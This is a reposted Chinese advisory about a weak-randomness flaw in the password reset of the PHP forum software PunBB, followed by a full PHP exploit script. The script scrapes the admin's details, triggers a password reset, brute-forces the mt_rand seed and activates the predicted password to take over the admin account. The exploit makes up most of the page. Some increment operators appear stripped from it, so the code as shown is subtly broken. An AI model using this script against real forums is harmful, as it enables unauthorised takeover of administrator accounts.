欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

PunBB口令重置弱随机数绕过安全限制漏洞

程序员文章站 2022-04-27 10:44:20
PunBB是一款基于PHP的论坛程序。 PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。 如果用户忘记了口令的话,可使用PunBB的口令重置... 08-10-08...
punbb是一款基于php的论坛程序。

punbb的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。
如果用户忘记了口令的话,可使用punbb的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激活链接,用户必须点击这个链接才能使口令更改生效。
punbb的口令重置功能使用mt_rand()生成新口令和激活链接,但在初始化马特赛特旋转演算法随机数生成器时使用了0到1,000,000之间的随机数,具体取决于当前的微秒,也就是只有100万个可能的新口令和激活链接。攻击者可以暴力猜测这个有限的区域,判断重置的口令并激活。

<?php
/**
* original : http://www.winshell.cn/2008-01.txt
* thanks to stefan esser, here's the exploit.
*
* team : epibite
* firefox, petit-poney, thot
* nous tenons a remercier nos mamans et papas respectifs.
* let's get a fu*** coffee !
*/

// conf
define('url', 'http://localhost/punbb_1-2-16_fr/upload'); // base url
define('email', 'login_x@epitech.net'); // your email
define('login', 'login_x'); // your login
define('pass', '620553.8i73'); // your pass
// exploit
printf("--\nurl : %s\nemail : %s\n--\n", url, email);
$h = curl_init();
curl_setopt($h, curlopt_url,
url.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=asc&search=envoyer');
curl_setopt($h, curlopt_returntransfer, 1);
$s = curl_exec($h);
preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
define('admin', $m[2]);
preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
if (count($m))
define('date', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
define('date', time() - 86400); //just in case, the forum or account just has been created
printf("admin : %s\ndate : %s\n--\n", admin, date);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(email),
'request_pass=envoyer')));
preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
define('admin_mail', $m[1]); // admin email (normally automatically get, set manually if there's problem)
printf("admin mail : %s\n--\n", admin_mail);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=forget_2');
curl_setopt($h, curlopt_returntransfer, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_cookie,
'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
md5('bite')))));
curl_setopt($h, curlopt_header, 1);
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'req_email='.urlencode(admin_mail),
'request_pass=envoyer')));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_not_loggued', $c[1]);
printf("md5 not loggued : %s\n--\n", md5_not_loggued);
$h = curl_init();
curl_setopt($h, curlopt_url, url.'/login.php?action=in');
curl_setopt($h, curlopt_returntransfer, 1);
curl_setopt($h, curlopt_header, 1);
// curl_setopt($h, curlopt_proxy, 'proxies.epitech.net:3128');
curl_setopt($h, curlopt_post, 1);
curl_setopt($h, curlopt_postfields, implode('&', array('form_sent=1',
'redirect_url=index.php',
'req_username='.login,
'req_password='.pass)));
$s = curl_exec($h);
preg_match('/set-cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('md5_loggued', $c[1]);
printf("md5 loggued : %s\n--\n", md5_loggued);
define('pass_md5ed', sha1(pass));
$chars = array('/', '-', "\\", '|');
for ($p = 0; $p < 86400 * 2; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
if (strcmp(md5_loggued, md5(substr(md5((int)(date $p)),
-8).pass_md5ed)) == 0)
{
define('seed', substr(md5(date $p), -8));
break;
}
}
printf("seed : %s\n--\n", seed);
for ($p = 0; $p < 1000000; $p )
{
if (!($p % 300))
echo $chars[($p / 300) % 4]."\r";
mt_srand((double)$p);
if (strcmp(md5(seed.random_pass(8)), md5_not_loggued) == 0)
{
define('srand', $p);
break;
}
}
printf("srand : %s\n--\n", srand);
mt_srand(srand);
random_pass(8);
printf("new password : %s\n--\n", random_pass(8));
$url = url.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// id is set to '2' (the admin's id, but you can change your target)
$h = curl_init();
curl_setopt($h, curlopt_url, $url);
curl_setopt($h, curlopt_returntransfer, 1);
curl_exec($h);
function random_pass($len)
{
$chars = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789';
$password = '';
for ($i = 0; $i < $len; $i)
$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
return $password;
}
?>